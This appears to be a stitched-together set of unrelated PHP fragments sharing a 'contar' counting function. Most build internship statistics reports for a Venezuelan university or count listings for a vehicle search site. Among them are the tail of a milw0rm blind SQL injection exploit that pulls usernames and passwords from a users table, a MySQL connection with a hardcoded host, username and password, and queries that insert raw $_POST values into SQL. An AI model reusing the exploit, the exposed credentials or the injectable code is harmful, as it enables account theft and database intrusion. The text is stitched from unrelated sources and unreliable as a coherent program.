function graficarPDF() { $solo_registrados = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m01_registrada IS NOT NULL AND pasantia.m02_aceptada IS NULL AND periodo.activo = TRUE"); $solo_aceptadas = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m02_aceptada IS NOT NULL AND pasantia.m03_numero_asignado IS NULL AND periodo.activo = TRUE"); $solo_numero_asignado = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m03_numero_asignado IS NOT NULL AND pasantia.m04_sellada IS NULL AND periodo.activo = TRUE"); $solo_sellada = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m04_sellada IS NOT NULL AND pasantia.m05_entrego_copia IS NULL AND periodo.activo = TRUE"); $solo_entrego_copia = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m05_entrego_copia IS NOT NULL AND pasantia.m06_entrego_borrador IS NULL AND periodo.activo = TRUE"); $solo_entrego_borrador = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m06_entrego_borrador IS NOT NULL AND pasantia.m07_retiro_borrador IS NULL AND periodo.activo = TRUE"); $solo_retiro_borrador = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m07_retiro_borrador IS NOT NULL AND pasantia.m08_entrega_final IS NULL AND periodo.activo = TRUE"); $finalizaron = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m08_entrega_final IS NOT NULL AND periodo.activo = TRUE"); $this->MultiCell(200, 5, utf8_decode("\nRepública Bolivariana de Venezuela\nUniversidad del Zulia\nFacultad Experimental de Ciencias\nDivisión de Programas Especiales\nSistema de Pasantías\n\n\n\nEstadísticas de Hitos"), 0, "C", 0); //GENERAR LA TABLA $this->SetXY(5, 65); $this->SetFont('Arial', 'B', 12); $this->SetWidths(array(27, 25, 25, 25, 25, 25, 25, 25)); $this->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C')); $this->Row(array("Registradas", "Aceptadas", "Numero Asignado", "Selladas", "Entrega Copia", "Entrega Borrador", "Retiro Borrador", "Finalizaron")); $this->SetX(5); $this->SetFont('Arial', '', 12); $this->SetWidths(array(27, 25, 25, 25, 25, 25, 25, 25)); $this->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C', 'C', 'C')); $this->Row(array("{$solo_registrados}", "{$solo_aceptadas}", "{$solo_numero_asignado}", "{$solo_sellada}", "{$solo_entrego_copia}", "{$solo_entrego_borrador}", "{$solo_retiro_borrador}", "{$finalizaron}")); $data = array($solo_registrados, $solo_aceptadas, $solo_numero_asignado, $solo_sellada, $solo_entrego_copia, $solo_entrego_borrador, $solo_retiro_borrador, $finalizaron); //aqui va la cantidad que llevará cada parte del grafico $graph = new PieGraph(640, 480); //tamaño de la letra del titulo y la leyenda $graph->SetShadow(); $db = new PgDB(); //QUERY PARA EL PERIDO ACTIVO $queryPer = "SELECT tipo, anio FROM periodo WHERE activo = TRUE"; $recoPer = pg_query($queryPer); $rowPer = pg_fetch_array($recoPer); $graph->title->Set(utf8_decode("REPORTE TOTAL\n{$rowPer['tipo']} - {$rowPer['anio']}")); $graph->title->SetFont(FF_FONT2, FS_BOLD); $p1 = new PiePlot($data); $p1->value->Show(true); $p1->SetLegends(array("Registradas", "Aceptadas", "Numeros Asignados", "Selladas", "Entrega de Copias", "Entrega de Borrador", "Retiro de Borrador", "Finalizaron")); //la leyenda del gráfico $p1->SetSize(0.3); //el radio del gráfico //$p1->SetAngle(45); //setear el angulo $graph->Add($p1); $graph->Stroke("asd.png"); $this->Image("asd.png", -15, 85, 240, 180); // x, y, ancho, altura. $this->Image("logotipo.jpg", 20, 12, -280); unlink("asd.png"); }
function mostrartiposycantidad(){ global $fechainicio,$fechafin; $enlace = mysql_connect('atc-nh-natsdb.nationalnet.com', 'staffcenter','XgwofvLY2ayLf') or die('No pudo conectarse : ' . mysql_error()); mysql_select_db('staffcenter',$enlace) or die('No pudo seleccionarse la BD.'); $sql = "SELECT * from types"; $resultado = mysql_query($sql,$enlace) or die('La consulta falló: ' . mysql_error()); while ($row = mysql_fetch_array($resultado)){ $tipos[$row[0]]=$row[1]; // se arma un vector con los datos de la tabla TYPES } mysql_free_result($resultado); for($x=1;$x<=count($tipos)+1;$x++){ if($tipos[$x]){ $sql2="SELECT COUNT(reportes.id_type) FROM teams JOIN usuario JOIN tipo_instancia JOIN types JOIN reportes JOIN shift WHERE reportes.id_usuario=usuario.id_usuario AND reportes.id_tipo_instancia=tipo_instancia.id_tipo_instancia AND reportes.id_team=teams.id_team AND reportes.id_type=types.id_type AND reportes.id_shift=shift.id_shift AND (reportes.fecha BETWEEN '$fechainicio' AND '$fechafin') AND reportes.id_shift like '".$_POST["shift"]."' AND reportes.id_team like '".$_POST["team"]."' AND reportes.id_usuario like '".$_POST["agent"]."' AND reportes.id_type AND reportes.id_type='$x' "; $total=contar($sql2,"",""); $mostrar=$tipos[$x].": ".$total."<br>"; if ($total!=0){ // para mostrar solo la cantidad de tipos que se encuentran en el reporte echo $tipos[$x].": ".$total."<br>\n"; } } } }
<?php include '../BD.class.php'; include '../GM_busquedas_motor.class.php'; require_once "../../res/modulos_buscadorAv/modulo_cuenta_motor.php"; BD::conectar(); $marcas = GM_busquedas_motor::obtener_marcas_motor("sincarnet"); $configCuenta = array('categoria' => 224, 'marca' => ''); if (!empty($_POST['precio_desde'])) { $configCuenta['precio_desde'] = $_POST['precio_desde']; } foreach ($marcas as &$marca) { $configCuenta['marca'] = $marca['nombre']; $marca['contador'] = count(contar($configCuenta)); } BD::desconectar(); echo json_encode($marcas);
$sql=" SELECT COUNT(id_tipo_instancia) AS total, login AS user FROM reportes JOIN usuario WHERE reportes.id_usuario=usuario.id_usuario AND DATE(reportes.fecha)='$fechadehoy' AND reportes.id_tipo_instancia='{instancia}' AND usuario.login='******' GROUP BY id_tipo_instancia DESC"; $ssql=str_replace("{instancia}",2,$sql); $totalcorreos=contar("contar",$ssql,0); $ssql=str_replace("{instancia}",3,$sql); $totalchats=contar("contar",$ssql,0); $ssql=str_replace("{instancia}",1,$sql); $totalllamadas=contar("contar",$ssql,0); $totalxtodos=($totalcorreos+$totalchats+$totalllamadas); /* $sql=" SELECT COUNT(id_tipo_instancia) AS total, login AS user FROM reportes JOIN usuario WHERE reportes.id_usuario=usuario.id_usuario AND DATE(reportes.fecha)='$fechadehoy' AND reportes.id_type='1' AND usuario.login='******' GROUP BY id_tipo_instancia DESC"; $totalrefound=contar("contar",$sql,0); */ ?>
$reco = pg_query($query); $row = pg_fetch_array($reco); */ //QUERY PARA EL PERIDO ACTIVO $queryPer = "SELECT tipo, anio FROM periodo WHERE activo = TRUE"; $recoPer = pg_query($queryPer); $rowPer = pg_fetch_array($recoPer); $pdf->SetFont('Arial', 'B', 12); $pdf->MultiCell(0, 5, utf8_decode("\nRepública Bolivariana de Venezuela\nUniversidad del Zulia\nFacultad Experimental de Ciencias\nDivisión de Programas Especiales\nSistema de Pasantías\n"), 0, "C", 0); $pdf->MultiCell(165, 5, utf8_decode("\n\nReporte General"), 0, "C", 0); $pdf->MultiCell(165, 5, utf8_decode("\n{$rowPer['tipo']} - {$rowPer['anio']}"), 0, "C", 0); $pdf->Ln(); $inscritos = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id AND periodo.activo = TRUE WHERE pasantia.m01_registrada IS NOT NULL"); $aprobados = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id AND periodo.activo = TRUE WHERE pasantia.aprobada = TRUE"); $reprobados = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id AND periodo.activo = TRUE WHERE pasantia.aprobada = FALSE"); $pdf->Image("logotipo.jpg", 20, 12, -280); //GENERAR LA TABLA $pdf->SetXY(57, 70); $pdf->SetFont('Arial', 'B', 12); $pdf->SetWidths(array(30, 30, 30)); $pdf->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C')); $pdf->Row(array("Inscritos", "Aprobados", "Reprobados")); $pdf->SetX(57); $pdf->SetFont('Arial', '', 12); $pdf->SetWidths(array(30, 30, 30)); $pdf->SetAligns(array('C', 'C', 'C')); $pdf->Row(array("{$inscritos}", "{$aprobados}", "{$reprobados}")); //GENERAR LA GRAFICA $graph = new PieGraph(640, 480); $graph->SetShadow();
<?php include '../BD.class.php'; include '../GM_busquedas_motor.class.php'; require_once '../GM_general.class.php'; require_once "../../res/modulos_buscadorAv/modulo_cuenta_motor.php"; BD::conectar(); $tmp = explode('_', $_POST["tipo"]); $campo_contador = array_shift($tmp); $IDCategoria = GM_general::obtener_id_categoria($campo_contador); $paraContar = array('categoria' => $IDCategoria); $paraContar['marca'] = GM_busquedas_motor::obtener_nombre_marca($_POST['marca']); if (!empty($_POST["precio_desde"])) { $paraContar['precio_desde'] = $_POST["precio_desde"]; } if (!empty($_POST["anio_desde"])) { $paraContar['anio_desde'] = $_POST["anio_desde"]; } $modelos = array(); $modelos = GM_busquedas_motor::obtener_modelos_motor($paraContar['marca'], $campo_contador); foreach ($modelos as &$modelo) { $paraContar['modelo'] = $modelo['nombre']; $listaIDs = contar($paraContar); $num = count($listaIDs); $modelo["n{$campo_contador}"] = $num; } BD::desconectar(); echo json_encode($modelos);
$var = "username"; } elseif ($opt == "-p") { $var = "password"; } else { echo "[+] Parametros Incorrectos \n"; exit; } echo $var . ":\n"; $ansi = genera_ansii(); $query = "select+" . $var . "+from+lore_users+where+id=" . $id; $original = contar($url); $i = 1; for ($x = 0; $x <= count($ansi); $x++) { $var = $ansi[$x]; $urlblind = $url . sql($query . "+limit+0,1", $i) . $var; $blind = contar($urlblind); if ($blind == $original) { $name .= chr($var); //system("clear"); //Linux echo " :> " . $name . chr(8); $i++; $x = -1; } echo chr($var) . chr(13); } echo "\nResultado :> " . $name . "\n"; } } ?> # milw0rm.com [2009-01-28]
<?php if (!$_POST) { exit; } require "../BD.class.php"; require "../GM_general.class.php"; if (empty($_POST['categoria']) || $_POST['categoria'] == 'motor') { require "../GM_busquedas_motor.class.php"; require "../../res/modulos_buscadorAv/modulo_cuenta_motor.php"; } else { if ($_POST['categoria'] == 'inmobiliaria') { require "../../res/modulos_buscadorAv/modulo_cuenta_inmobiliaria.php"; } } unset($_POST['categoria']); BD::conectar(); $data = array(); $data['categoria'] = GM_general::obtener_id_categoria($_POST['url']); unset($_POST['url']); foreach ($_POST as $key => $value) { $data[$key] = $value; } echo count(contar($data)); BD::desconectar();
<?php require_once 'db.php'; $db = new PgDB(); function contar($qry) { $result = $db->query($qry); return pg_fetch_row($result, 0)[0]; } $solo_registrados = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m01_registrada IS NOT NULL AND pasantia.m02_aceptada IS NULL"); $solo_aceptadas = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m02_aceptada IS NOT NULL AND pasantia.m03_numero_asignado IS NULL"); $solo_numero_asignado = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m03_numero_asignado IS NOT NULL AND pasantia.m04_sellada IS NULL"); $solo_sellada = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m04_sellada IS NOT NULL AND pasantia.m05_entrego_copia IS NULL"); $solo_entrego_copia = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m05_entrego_copia IS NOT NULL AND pasantia.m06_entrego_borrador IS NULL"); $solo_entrego_borrador = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m06_entrego_borrador IS NOT NULL AND pasantia.m07_retiro_borrador IS NULL"); $solo_retiro_borrador = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m07_retiro_borrador IS NOT NULL AND pasantia.m08_entrega_final IS NULL"); $finalizaron = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m08_entrega_final IS NOT NULL");
<?php error_reporting(E_ALL); ini_set('display_errors', 'On'); if (!$_POST) { exit; } require "../BD.class.php"; require "../GM_general.class.php"; require "../GM_busquedas_motor.class.php"; if (empty($_POST['categoria']) || $_POST['categoria'] == 'motor') { require "../../res/modulos_buscadorAv/modulo_cuenta_motor.php"; } else { if ($_POST['categoria'] == 'inmobiliaria') { require "../../res/modulos_buscadorAv/modulo_cuenta_inmobiliaria.php"; } } $num = array(); $search = json_decode($_POST['search'], true); //print_r($search); BD::conectar(); foreach ($search as $item) { $num[] = number_format(count(contar($item)), 0, ',', '.'); } BD::desconectar(); echo json_encode($num);